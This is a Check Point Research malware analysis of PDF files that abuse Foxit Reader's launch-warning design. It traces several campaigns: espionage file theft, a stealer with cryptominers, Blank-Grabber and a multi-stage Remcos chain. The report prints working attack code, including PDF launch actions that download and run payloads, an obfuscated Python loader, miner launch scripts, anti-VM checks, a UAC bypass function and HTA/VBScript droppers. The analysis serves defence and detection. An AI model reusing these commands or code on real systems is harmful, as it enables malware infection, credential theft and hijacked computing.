Foxit PDF “Flawed Design” Exploitation - Check Point Research (2024)

Research by: Antonis Terefos

PDF (Portable Document Format) files have become an integral part of modern digital communication. Renowned for their universality and fidelity, PDFs offer a robust platform for sharing documents across diverse computing environments. PDFs have evolved into a standard format for presenting text, images, and multimedia content with consistent layout and formatting, irrespective of the software, hardware, or operating system used to view them. This versatility has made PDFs indispensable in fields ranging from business and academia to government and personal use, serving as a reliable means of exchanging information in a structured and accessible manner.

In the realm of PDF viewers, Adobe Acrobat Reader reigns supreme as the industry’s dominant player. However, while Adobe Acrobat Reader holds the biggest market share, notable contenders are vying for attention, with Foxit PDF Reader being a prominent alternative. With more than 700 million users located in more than 200 countries and significant customers in the government sector like the US Air Force, Army, Navy & Missile Defense Agency, as well as in the technological sector like Google, Microsoft, Intel & Dell.

Check Point Research has identified an unusual pattern of behavior involving PDF exploitation, mainly targeting users of Foxit Reader. This exploit triggers security warnings that could deceive unsuspecting users into executing harmful commands. Check Point Research has observed variants of this exploit being actively utilized in the wild. Its low detection rate is attributed to the prevalent use of Adobe Reader in most sandboxes or antivirus solutions, as Adobe Reader is not susceptible to this specific exploit. Additionally, Check Point Research has observed various exploit builders, ranging from those coded in .NET to those written in Python, being used to deploy this exploit.

This exploit has been used by multiple threat actors, from e-crime to espionage. The campaigns have taken advantage of the low detection rate and protection against this exploit where actors have been spotted sharing those malicious PDF files even using nontraditional means such as Facebook. Check Point Research isolated and investigated three in-depth cases, ranging from an espionage campaign with a military focus to e-crime with multiple links and tools, achieving impressive attack chains.

Check Point Research discovered that samples fromEXPMONproduced unusual behavior when executed with Foxit Reader compared to Adobe Reader. The exploitation of victims occurs through a flawed design in Foxit Reader, which shows as a default option the “OK,” which could lead the majority of the targets to ignore those messages and execute the malicious code. The malicious command is executed once the victim “Agrees” to the default options twice.

The victim scenario is shown below: when opening the file, we come across the first pop-up, the default option “Trust once,” which is the correct approach.

Once clicking “OK“, the target comes across a second pop-up. If there were any chance the targeted user would read the first message, the second would be “Agreed” without reading. This is the case that the Threat Actors are taking advantage of this flawed logic and common human behavior, which provides as the default choice the most “harmful” one.

Attaching a debugger, we can observe the executed command and, with the use of PowerShell, will download and execute a malicious file.

Executed Command:

"C:\Windows\System32\cmd.exe" /c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile('hxxps://cdn.discordapp.com/attachments/1010643365152436226/1011056243474960515/Client_1.exe', 'payload.exe')" >> msd89h2j389uh.bat &@echo timeout /t 5 >> msd89h2j389uh.bat &@echo start payload.exe >> msd89h2j389uh.bat &@echo Set oShell = CreateObject ("Wscript.Shell") >> encrypted.vbs &@echo Dim strArgs >> encrypted.vbs &@echo strArgs = "cmd /c msd89h2j389uh.bat" >> encrypted.vbs &@echo oShell.Run strArgs, 0, false >> encrypted.vbs & encrypted.vbs &dEl encrypted.vbs

Code 1 – Command Executed.

Analyzing the PDF file statically, we can obtain the executed logic behind it.

.\pdf-parser.py .\mlw.pdfPDF Comment '%PDF-1.1\r\n'obj 1 0 Type: /Catalog Referencing: 2 0 R << /OpenAction << /S /Launch /Win << /F (CMD) /P '(/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile(\'hxxps://cdn.discordapp.com/attachments/1010643365152436226/1011056243474960515/Client_1.exe\', \'payload.exe\')"' >> msd89h2j389uh.bat &@echo timeout / t 5 >> msd89h2j389uh.bat &@echo start payload.exe >>obj 2 0 Type: /Pages Referencing: 3 0 R << /Kids [ 3 0 R ] /Count 1 /Type /Pages >>obj 3 0 Type: /Page Referencing: 5 0 R, 2 0 R, 4 0 R << /Resources << /Font << /F1 5 0 R >> >> /MediaBox [ 0 0 795 842 ] /Parent 2 0 R /Contents 4 0 R /Type /Page >>obj 4 0 Type: Referencing: Contains stream << /Length 1260 >>obj 5 0 Type: /Font Referencing: << /Subtype /Type1 /Name /F1 /BaseFont /Helvetica /Type /Font >>xreftrailer << /Size 6 /Root 1 0 R /ID [(bc38735adadf7620b13216ff40de2b26)(bc38735adadf7620b13216ff40de2b26)] >>startxref 1866PDF Comment '%%EOF'

Code 2 – PDF static analysis.

The initial link, which references the root of the PDF, is shown using the key/Root. In this case, points to object1. Following this object, we can observe the key/OpenAction, which by itself doesn’t indicate malicious activity. This is a key in a PDF file’s catalog dictionary. It specifies an action to be performed automatically when the document is opened. The next keys are responsible for the execution of the command,/S /Launchindicating to the Foxit Reader to launch an external application and/Winproviding the information needed for the launched application. Later, keys/Fand/Pprovide the application to execute and its parameters.

This sequence of keys triggers the two previous warnings in Foxit Reader, and with the flawed design and careless users, it is able to execute malicious commands that appear highly leveraged by threat actors. Meanwhile, the key/Launchappears not to be triggered for Adobe Reader.

Check Point Research collected a plethora of malicious PDF files, taking advantage of the specific exploit targeting Foxit Reader users. Despite the majority of sandboxes and VirusTotal failing to trigger the exploit, given Adobe’s prevalence as the primary PDF Reader, numerous files from previous campaigns remained unretrieved. Nonetheless, we acquired a sufficient amount of dropped payloads from various origins, revealing a diverse range of malicious tools within the infection chain and prominent malware families such as:

• VenomRAT
• Agent-Tesla
• Remcos
• NjRAT
• NanoCore RAT
• Pony
• Xworm
• AsyncRAT
• DCRat

We meticulously isolated and conducted in-depth research on particular instances where the initial PDF samples resulted in interesting campaigns. Through the analysis, we aimed to uncover unique insights into the nature and mechanisms of these infections.

Case I. Windows & Android Botnets with a Scent of Espionage

While researching, we stumbled upon a malicious PDF file with a suspicious “military” related name, “Regarding Invitation to attend defence services Asia 2024 and National Security Asia 2024.pdf”. The PDF was possibly distributed via a link to download. The campaign’s attack chain is simple, with the PDF downloading and executing a downloader of two executables, which will later on collect and upload various files such as Documents, Images, Archives, and Databases.

Command & Control

The downloader provides no functionality other than downloading and executing the two payloads, and the information sent to the C&C, which registers the bot, only displays the victims that received the following stage payloads.

Based on the creation date of those “bot-registration” files, we obtained the campaign dates and number of Bots added to the Botnet per day. The primary campaign appears to have occurred on April 5, 2024, which is the day with the most registered bots.

The attack chain and the use of specific tools testify to a campaign focused on espionage, and further findings of android infections using Rafel RAT testify to this assumption even further. Based on the obtained victim data, the Threat Actor has the capability of performing hybrid campaigns, which also resulted in a Two Factor Authentication (2FA) bypass. Check Point Research considers these campaigns to have been performed by theAPT-C-35 / DoNot Team.

Windows Campaign Technical Analysis

The PDF document was still hosted on the C&C, suggesting it could be downloaded using a download link instead of being sent as a file to potential victims.

Check Point Research analyzed the specific PDF document and discovered it was built using an open-sourcePDF Builder, released on February 13, 2024. The command used once the “exploit” is triggered downloads an executable file from a remote server and executes it.

 /S /Launch /Win << /F (cmd.exe) /P '(/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile(\'hxxps://omagle-chat-secure.com/target.exe\', \'payload.exe\')"' >> msd89h2j389uh.bat &@echo timeout / t 5

Code 3 – Command downloading malicious payload.

Machine Information

The executed downloader collects machine Information and writes it into “%Appdata%/TestLog/$PC_Name.txt”:

• Computer name
• User name
• IP Address
• OS Version

String decryption

The malware contains strings important to its functionality and is encrypted with a custom algorithm.

def downloader_decrypt_string(encrypted: bytes, key: int) -> bytes: result = [] for char in encrypted: if chr(char) in string.ascii_letters: base = ord("A") if char <= ord("Z") else ord("a") char = (char - base - key + 0x1A) % 0x1A + base result.append(char) return bytes(result) >> b'APPDATA'>> b'\\Intel\\index.exe'>> b'\\Intel\\upload.exe'>> b'hxxps://mailservicess.com/res/data/in.exe'>> b'hxxps://mailservicess.com/res/data/up.exe'>> b'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'>> b'TailoredExperiencesWithDiagnosticDataEnabled'>> b'ghijkl/ghijkl'>> b'/index.php'>> b'mailservicess.com'>> b'\\Systems.exe'>> b'Systems.exe'>> b'\\Mozila\\'

Code 4 – Python representation and decrypted strings.

Network communication

The downloader has an unusual approach to retrieving the data that will be sent. It enumerates the files inside the folder%Appdata%/TestLog/and uploads it to the C&C:hxxps://mailservicess.com/ghijkl/ghijkl/index.php

Content-Type: multipart/form-data; boundary=----qwerty------qwertyContent-Disposition: form-data; name="filetoupload"; filename="$FILEPATH"Content-Type: application/octet-streamContent-Transfer-Encoding: binaryComputer Name: $PC_NAMEIP Address: $IP_ADDRESSUser Name: $USER_NAMEOperating System Version: $VERSION------qwerty--

After registering the bot to the C&C, it downloads two payloads and stores them as %Appdata%/Intel/index.exe and %Appdata%/Intel/upload.exe. Both are executed with parameters “pp” with a “big” time difference between each other.

Persistence

The malware copies itself at%Appdata%/Intel/Mozila/Systems.exeand sets a Run registry path “SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run” named “TailoredExperiencesWithDiagnosticDataEnabled” and values the copied path.

Downloaded Payloads

The first payload, “in.exe”, stored as “index.exe”, does not contain any network-related functionality. It is used for listing files inside the specific root directoriesC:\\,D:\\,E:\\,F:\\,G:\\,H:\\,I:\\andZ:\\and copies files with the below extensions to folder%AppData%/htdocs/.

.txt, .jpeg, .jpg, .png, .doc, .docx, .xls, .xlsx, .pdf, .ppt, .zip, .rar, .inp, .pptx, .sql

A text summary of all copied files will be created at%AppData%/output.exe.

The second payload, “up.exe,” stored as “upload.exe,” is executed after some time from the first payload and uses a similar string decryption to the downloader.

def uploader_decrypt_string(encrypted: bytes) -> bytes: result = [] for char in encrypted: if chr(char) in string.ascii_letters: base_byte = 0x2A if char <= ord("Z") else 0x4A char -= base_byte temp = ((0x4EC4EC4F * char) >> 32) >> 3 char = char - 0x1A * ((temp < 0) + temp) + (base_byte + 0x17) result.append(char) return bytes(result) >> b'mailservicess.com'>> b'filetoupload'>> b'/filedata/'>> b'/index.php'>> b'mailservicess.com'>> b'filetoupload'>> b'APPDATA'>> b'\\htdocs\\'

Code 5 – Python representation and decrypted strings.

The uploader enumerates the files from%Appdata%/htdocs/and uploads them to the C&C using the same network communication used for the downloader.

------qwertyContent-Disposition: form-data; name="filetoupload"; filename="$FILEPATH"Content-Type: application/octet-streamContent-Transfer-Encoding: binary$FILE_DATA------qwerty--

The group has used those two downloaded payloads, but through further research, we discovered another tool that could be dropped depending on the interests of the group. The internal tool names are:

1. indexer, which copies and makes a summary of files of interest.
2. upload, a tool that uploads previous files
3. screen,a tool making screenshots and saves them to the same folder to be picked up byupload.

Based on analyzed tools, we believe that further undiscovered tools could exist that serve different needs, such as stealers, which would drop their results into the mentioned folder so the upload tool could send them to the C&C.

Check Point Research also observed evidence of other malware and tooling from directories discovered on the C&C, but we haven’t managed to obtain any samples that could further verify our findings. The folders we discovered were:

1. /AhMyth/, is an open-source Android RAT
2. /sliver/, an open-source cross-platform red team framework similar to Cobalt Strike.
3. /Keres/,is a PowerShell reverse-shell backdoor with persistence for Windows and Linux.

Case II. Chained-Campaign

During this campaign, the multiple links to follow, commands, and files executed in order to result in a stealer and two mines. The initial part of the infection chain was achieved with a malicious PDF document targeting Foxit PDF Reader users.The file’s name is “swift v2.pdf”, possibly mainly targeting users from the United States, among other countries.

To this day, the PDF file still has a low detection rate among antivirus solutions, posing an even bigger threat. In one of the campaigns, the Threat Actor distributed it also via Facebook, passing undetected by the Social Media’s malware detectors.

Campaign Technical Analysis

Analyzing statically, the command triggered iscmd.exe, and the malicious BAT file is downloaded by executingcurl.

 /OpenAction << /S /Launch /Win << /F '(c:\\\\windows\\\\system32\\\\cmd.exe)' /P '(/c curl hxxps://sealingshop.click/bat/bostar4 -o "C:\\\\Users\\\\Public\\\\mems.bat" & C:\\\\Users\\\\Public\\\\mems.bat)' >> >>

Code 6 – Command Executed once accepted.

The malicious payload opens the browser on a Facebook page; we are not exactly sure what this action is done for, possibly to distract the user from the malicious activities to be performed or from the empty PDF page. We managed to obtain similar BAT payloads with different legitimate pages opened, such as Amazon. One hypothesis could be that the website opened could indicate the platform where the users were targeted.

cmd /c start https://www.facebook.com/help/contact/1304188393453553?ref=payout_hubC:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI hxxps://sealingshop.click/config/stu -OutFile "C:\\Users\\$([Environment]::UserName)\\AppData\\Roaming\\Microsoft\\Windows\\'Start Menu'\\Programs\\Startup\\WindowsUpdate.bat"cmd /c mkdir "C:\\Users\\Public\\python39"cmd /c curl hxxps://sealingshop.click/app/python39.zip -o "C:\\Users\\Public\\python39\\python39.zip"cmd /c tar -xf C:\\Users\\Public\\python39\\python39.zip -C "C:\\Users\\Public\\python39"cmd /c curl hxxps://sealingshop.click/py/bostar4 -o "C:\\Users\\Public\\python39\\documents.py"cmd /c C:\\Users\\Public\\python39\\python.exe "C:\\Users\\Public\\python39\\documents.py"

Code 7 – “First Payload”.

The “First payload” will download a second BAT file and store it in the%Startup%folder asWindowsUpdate.batto maintain persistence. On reboot, the machine will execute using PowerShell, a Python file.

cmd /c C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\\Users\\Public\\python39\\python C:\\Users\\Public\\python39\\documents.py;

Code 8 – Command downloaded using PowerShell used for persistence.

The “First payload” once dropping the persistence BAT file downloads and “installs” Python 3.9 atC:\\Users\\Public\\python. At this point, it is even clearer that the final payload will be a Python file, which will be downloaded again usingcurland then executed.

import osimport base64import sqlite3import win32cryptfrom Crypto.Cipher import AESimport requestsimport jsonimport getpassimport sysvari = ''exec(base64.b64decode({2:str,3:lambda b:bytes(b, 'UTF-8')}[sys.version_info[0]]('dmFyaSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9zZWFsaW5nc2hvcC5jbGljay9weWVuL2Jvc3RhcjQnKS50ZXh0')))exec(base64.b64decode({2:str,3:lambda b:bytes(b, 'UTF-8')}[sys.version_info[0]](vari)))

Code 9 – Python Loader.

This Python file is a Loader that executes dynamically downloaded code. The firstexeccall will download an obfuscated Python info stealer and Miner dropper and the secondexecwill execute it. This info stealer targets only Chrome and Edge browsers and steals user’s credentials and cookies. In order to retrieve the actual C&C, the malware makes a GET request and then a POST to/up/cookie-password-allwith the user’s Personal Identifiable Information (PII).

For “closing”, the malware makes two last GET requests to retrieve the actual URL for the miners to drop. Using PowerShell commands, downloads unzips and executes the miners.

os.system('cmd /c mkdir "C:\\Users\\Public\\PublicAlbums"')os.system("powershell.exe -windowstyle hidden Invoke-WebRequest -URI " + url_miner_xmrig + " -OutFile C:\\Users\\Public\\PublicAlbums\\xmrig.zip")os.system("powershell.exe -windowstyle hidden Expand-Archive C:\\Users\\Public\\PublicAlbums\\xmrig.zip -DestinationPath C:\\Users\\Public\\PublicAlbums")os.system("cmd /c C:\\Users\\Public\\PublicAlbums\\config.vbs")

Code 10 – The same code is used for Lol Miner.

Both of the miners are stored in Gitlab (@topworld20241), and both of the ZIP archives contain the file to be executedconfig.vbswith the instructions and configuration of each miner.

Sub Main()Dim WShell,objFSOSet WShell = CreateObject("WScript.Shell")Set objFSO = CreateObject("Scripting.FileSystemObject")If objFSO.FileExists("C:\\Users\\Public\\PublicAlbums\\xmrig.exe") Then WShell.Run "C:\\Users\\Public\\PublicAlbums\\xmrig.exe --donate-level 1 -o de.zephyr.herominers.com:1123 -u ZEPHsCVJBy21Z2qvE7JpbwDgsQCzPqyV58KWAZ2qzVYAjPh4bsjrGB7W6DkTuUy4p5Kk75dUyvBtgH3jpspeQUbnR8ZMYL7wDcV -p workerbot -a rx/0 -k", 0 Set WShell = NothingEnd IfEnd SubOn Error Resume Next Main

Code 11 – VB script for XMRig Miner.

Sub Main()Dim WShell,objFSOSet WShell = CreateObject("WScript.Shell")Set objFSO = CreateObject("Scripting.FileSystemObject")If objFSO.FileExists("C:\\Users\\Public\\PublicSounds\\lolMiner.exe") Then WShell.Run "C:\\Users\\Public\\PublicSounds\\lolMiner.exe --algo NEXA --pool stratum+ssl://nexapow.unmineable.com:4444 --user ZEPH:ZEPHsCVJBy21Z2qvE7JpbwDgsQCzPqyV58KWAZ2qzVYAjPh4bsjrGB7W6DkTuUy4p5Kk75dUyvBtgH3jpspeQUbnR8ZMYL7wDcV --watchdog exit !EXTRAPARAMETERS!", 0 Set WShell = NothingEnd IfEnd SubOn Error Resume Next Main

Code 12 – VB script for Lol Miner.

Case III. Python Stealer with Low Detection

Another way of delivering the malicious end file could be more direct, such as downloading the malicious file from DiscordApp and executing it. This was the case with the below PDF infection chain downloading a malicious Python file.

Python files are not the usual suspects, which is testified even by the low detection rate; even more shocking is that this Python stealer is an open-source project calledBlank-Grabberand not a newly discovered malware.

Campaign Technical Analysis

The PDF executes PowerShell and downloads the malicious file from DiscordApp, resulting in a “legitimate” appearing network traffic. The Python malware is then downloaded aslol.pywand executed on the victim’s machine.

 /OpenAction << /S /Launch /Win << /F (CMD) /P '(/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile(\'hxxps://cdn.discordapp.com/attachments/1167576449859993683/1168168071366709278/lol.pyw\', \'lol.pyw\')"' >> msd89h2j389uh.bat &@echo timeout / t 5 >> msd89h2j389uh.bat &@echo start stub.pyw >>

Code 13 – PDF executed command.

The malware is functional and possesses many features, from a Graphical Builder to UAC Bypass, Anti VM, and stealing capabilities from various browsers and applications.

What is interesting to see is theclass VmProtect, which lists all the anti-VM techniques.

From identifying known:

1. UUIDs,
2. Computer names
3. Users names
4. Registry key & values
5. killing running tasks related to Virtual machines or any other malware-reversing related tools.
6. Making Internet-related checks regarding the emulation of the network and checking if the system is hosted online.

class VmProtect: BLACKLISTED_UUIDS = ('7AB5C494-39F5-4941-9163-47F54D6D5016', '032E02B4-0499-05C3-0806-3C0700080009', '03DE0294-0480-05DE-1A06-350700080009', '11111111-2222-3333-4444-555555555555', '6F3CA5EC-BEC9-4A4D-8274-11168F640058', 'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548', '4C4C4544-0050-3710-8058-CAC04F59344A', '00000000-0000-0000-0000-AC1F6BD04972', '00000000-0000-0000-0000-000000000000', '5BD24D56-789F-8468-7CDC-CAA7222CC121', '49434D53-0200-9065-2500-65902500E439', '49434D53-0200-9036-2500-36902500F022', '777D84B3-88D1-451C-93E4-D235177420A7', '49434D53-0200-9036-2500-369025000C65', 'B1112042-52E8-E25B-3655-6A4F54155DBF', '00000000-0000-0000-0000-AC1F6BD048FE', 'EB16924B-FB6D-4FA1-8666-17B91F62FB37', 'A15A930C-8251-9645-AF63-E45AD728C20C', '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3', 'C7D23342-A5D4-68A1-59AC-CF40F735B363', '63203342-0EB0-AA1A-4DF5-3FB37DBB0670', '44B94D56-65AB-DC02-86A0-98143A7423BF', '6608003F-ECE4-494E-B07E-1C4615D1D93C', 'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A', '49434D53-0200-9036-2500-369025003AF0', '8B4E8278-525C-7343-B825-280AEBCD3BCB', '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27', '79AF5279-16CF-4094-9758-F88A616D81B4', 'FE822042-A70C-D08B-F1D1-C207055A488F', '76122042-C286-FA81-F0A8-514CC507B250', '481E2042-A1AF-D390-CE06-A8F783B1E76A', 'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C', '9961A120-E691-4FFE-B67B-F0E4115D5919') BLACKLISTED_COMPUTERNAMES = ('bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr', 'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb', 'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc', 'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc', 'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs', 'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc', 'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076', 'desktop-vkeons4', 'NTT-EFF-2W11WSS') BLACKLISTED_USERS = ('wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex', 'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq', 'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a', 'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl', 'harry johnson', 'j.seance', 'a.monaldo', 'tvm') BLACKLISTED_TASKS = ('fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler', 'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray', 'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice', 'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc', 'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol', 'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice', 'vmwaretray', 'discordtokenprotector') @staticmethod def checkUUID() -> bool: Logger.info('Checking UUID') uuid = subprocess.run('wmic csproduct get uuid', shell=True, capture_output=True).stdout.splitlines()[2].decode(errors='ignore').strip() return uuid in VmProtect.BLACKLISTED_UUIDS @staticmethod def checkComputerName() -> bool: Logger.info('Checking computer name') computername = os.getenv('computername') return computername.lower() in VmProtect.BLACKLISTED_COMPUTERNAMES @staticmethod def checkUsers() -> bool: Logger.info('Checking username') user = os.getlogin() return user.lower() in VmProtect.BLACKLISTED_USERS @staticmethod def checkHosting() -> bool: Logger.info('Checking if system is hosted online') http = PoolManager(cert_reqs='CERT_NONE') try: return http.request('GET', 'http://ip-api.com/line/?fields=hosting').data.decode(errors='ignore').strip() == 'true' except Exception: Logger.info('Unable to check if system is hosted online') return False @staticmethod def checkHTTPSimulation() -> bool: Logger.info('Checking if system is simulating connection') http = PoolManager(cert_reqs='CERT_NONE', timeout=1.0) try: http.request('GET', f'https://blank-{Utility.GetRandomString()}.in') except Exception: return False else: return True @staticmethod def checkRegistry() -> bool: Logger.info('Checking registry') r1 = subprocess.run('REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2', capture_output=True, shell=True) r2 = subprocess.run('REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2', capture_output=True, shell=True) gpucheck = any((x.lower() in subprocess.run('wmic path win32_VideoController get name', capture_output=True, shell=True).stdout.decode(errors='ignore').splitlines()[2].strip().lower() for x in ('virtualbox', 'vmware'))) dircheck = any([os.path.isdir(path) for path in ('D:\\Tools', 'D:\\OS2', 'D:\\NT3X')]) return r1.returncode != 1 and r2.returncode != 1 or gpucheck or dircheck @staticmethod def killTasks() -> None: Utility.TaskKill(*VmProtect.BLACKLISTED_TASKS) @staticmethod def isVM() -> bool: Logger.info('Checking if system is a VM') Thread(target=VmProtect.killTasks, daemon=True).start() result = VmProtect.checkHTTPSimulation() or VmProtect.checkUUID() or VmProtect.checkComputerName() or VmProtect.checkUsers() or VmProtect.checkHosting() or VmProtect.checkRegistry() if result: Logger.info('System is a VM') else: Logger.info('System is not a VM') return result

Code 14 – VM protect class.

Another interesting part is the function, which results in UAC bypass,def UACbypass.

 @staticmethod def UACbypass(method: int=1) -> bool: if Utility.GetSelf()[1]: execute = lambda cmd: subprocess.run(cmd, shell=True, capture_output=True) match method: case 1: execute(f'reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /d "{sys.executable}" /f') execute('reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /v "DelegateExecute" /f') log_count_before = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout) execute('computerdefaults --nouacbypass') log_count_after = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout) execute('reg delete hkcu\\Software\\Classes\\ms-settings /f') if log_count_after > log_count_before: return Utility.UACbypass(method + 1) case 2: execute(f'reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /d "{sys.executable}" /f') execute('reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /v "DelegateExecute" /f') log_count_before = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout) execute('fodhelper --nouacbypass') log_count_after = len(execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').stdout) execute('reg delete hkcu\\Software\\Classes\\ms-settings /f') if log_count_after > log_count_before: return Utility.UACbypass(method + 1) case _: return False return True

Code 15 – UAC bypass function.

Blank-Grabber appears to be a fully functional open-source infostealer, and its low detection rate makes it an even bigger threat for targeted users.

Case IV. From PDF to PDF to … Remcos

Another interesting case occurred when a malicious PDF included a hyperlink to an attachment hosted ontrello.com. Upon downloading, it revealed a secondary PDF file containing malicious code, which takes advantage of this “exploitation” of Foxit Reader users. The attack chain is once again impressive, with multiple files being dropped in order to infect the victim with the final payload. In total, more than 10 files were executed, with the final malwareRemcosRAT being injected into memory using theDynnamicWrapperX.

The Threat Actor performing this campaign,@Silentkillertv, appears to be selling also malicious tools via Telegram. On the 27th of April, the Threat Actor published a PDF Exploit, which targets Foxit PDF Reader and has“100% Bypass of Anti-Viruses”as well as is able to bypass“Gmail, Yahoo, Facebook, and Hotmail file sharing restrictions”.

Campaign Technical Analysis

The first PDF file contained a malicious hyperlink that downloaded a PDF file named “Facebook_Adversting_project.pdf”.

obj 119 0 Type: Referencing: << /S /URI /URI (hxxps://trello.com/1/cards/661a23427b01e8ba1bde8e2e/attachments/662d51f9e28ce98ab46ecd93/download/Facebook_Adversting_project.pdf) >>

Code 16 – First PDF link.

Once clicking the link, the victim receives the second PDF file, which is hosted on trello.com a legitimate website. Similar to Discord, Threat Actors have been taking advantage of legitimate websites in order to host and distribute malicious files.

The file was uploaded on the 27th of April by “Bechtelar Libby @bechtelarlibby”.

The user’s initial activity seems to date back to March 1st, 2024. Judging by the file and folder names generated by the suspicious account, it appears that the targeted countries included Vietnam and Korea, among others.

 Bảng Trello của tôi (Vietnamese): My Trello board Lập kế hoạch dự án (Vietnamese): Project planning Họp khởi động (Vietnamese): Kickoff meeting Cần làm (Vietnamese): Need to do Xong (Vietnamese): Done 거래 데이터 (Korean): Transaction data 신원 확인 (Korean): Identity verification

In the second PDF, the exploitation targeting Foxit users is executed through the following PowerShell command:

 /OpenAction << /S /Launch /Win << /F (cmd.exe) /P '(/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient).DownloadFile(\'hxxps://www.digitalmarketingstart.com/GFFFDSGSDGDFSGDFSGDSG.lnk\', \'NCGHDFHGTDFJMDFGKJHFTYf*ckFYU.LNK\')"' >> VGHJFUYTKFJFGJHFGKJHGFTGHDFKTGJH.BAT &@echo timeout / t 5 >> VGHJFUYTKFJFGJHFGKJHGFTGHDFKTGJH.BAT &@echo start NCGHDFHGTDFJMDFGKJHFTYf*ckFYU.LNK >>

Code 17 – Second PDF Foxit Exploitation.

At this point, multiple “links”/files need to be followed in order to retrieve the final payload. The first payload is downloaded asNCGHDFHGTDFJMDFGKJHFTYf*ckFYU.LNKand is a.lnk. This file downloads using curl a.htafile from a remote server and executes it from this location%AppData%\STARTGOVFFGHJFKJHFTFDGHJF.HTA.

/c mode 15,1 & .curl hxxps://digitalmarketingstart.com/PHOTO/photoSTARTGOUPDATEPHOTOVIWERGOSTART.JPG -o %AppData%\STARTGOVFFGHJFKJHFTFDGHJF.HTA & start /b %AppData%\STARTGOVFFGHJFKJHFTFDGHJF.HTA

Code 18 – 1st Payload, .lnk file command.

The HTA file initiates two requests to the identical server, fetching two files. One is a VBScript file, while the other is a genuine image, utilized as a decoy. Notably, this HTA file contained comments written in Arabic.

<html><head><script language="VBScript"> Set objShell = CreateObject("WScript.Shell") ' تحديد روابط التحميل للملفات Dim urlVBS, urlJPG urlVBS = "hxxps://digitalmarketingstart.com/PHOTO/PHOTOphoto_2024-04-27_07-31-10.jpg" ' رابط الملف الأول (FILE.VBS) urlJPG = "hxxps://digitalmarketingstart.com/photo_2024-04-27_07-31-10.jpg" ' رابط الملف الثاني (FILE.JPG) ' تنفيذ أمر التحميل باستخدام curl لكل ملف على حدة commandVBS = "cmd.exe /c mode 15,1 & curl " & urlVBS & " -o %temp%\FGHJFTFDHBJVJHGVHJKFVJGTFKHFJH.VBS & start /b %temp%\FGHJFTFDHBJVJHGVHJKFVJGTFKHFJH.VBS" commandJPG = "cmd.exe /c mode 15,1 & curl " & urlJPG & " -o %temp%\photo_2024-04-27_07-31-10.jpg & start /b %temp%\photo_2024-04-27_07-31-10.jpg" ' تنفيذ أوامر التحميل لكل ملف بشكل متوازٍ objShell.Run commandVBS, 0, True objShell.Run commandJPG, 0, True ' حذف ملف HTA الحالي بعد التحميل Set objFSO = CreateObject("Scripting.FileSystemObject") strScriptPath = objFSO.GetAbsolutePathName(Replace(document.location.pathname, "/", "\")) objFSO.DeleteFile strScriptPath ' إغلاق نافذة التطبيق HTA window.close</script></head><body></body></html>

Code 19 – 2nd Payload, .hta file content.

The third payload is stored as%temp%\FGHJFTFDHBJVJHGVHJKFVJGTFKHFJH.VBSand is executed before the genuine image. This VBScript is straightforward, downloading additional VBScript code and executing the “response” accordingly.

Execute("set H___________________K=CreateObject(""MSXML2.XMLHTTP""):H___________________K.Open ""POST"",""hxxps://www.digitalmarketingstart.com/digitalmarketing/STARTPOWER2642024GO___________________________AUTO.MP4"",false:H___________________K.send:Execute(H___________________K.responsetext)")

Code 20 – 3rd Payload, VBScript file content.

The VBScript code executes the following command:

mshta hxxps://www.digitalmarketingstart.com/digitalmarketing/ENCLUCKSAQSTART.TXT

Code 21 – 4th Payload, VBScript code.

The fifth payload is yet another.htafile that communicates with the same endpoint. It downloads and executes another VBScript file (sixth), which in turn downloads yet another VBScript file (seventh).

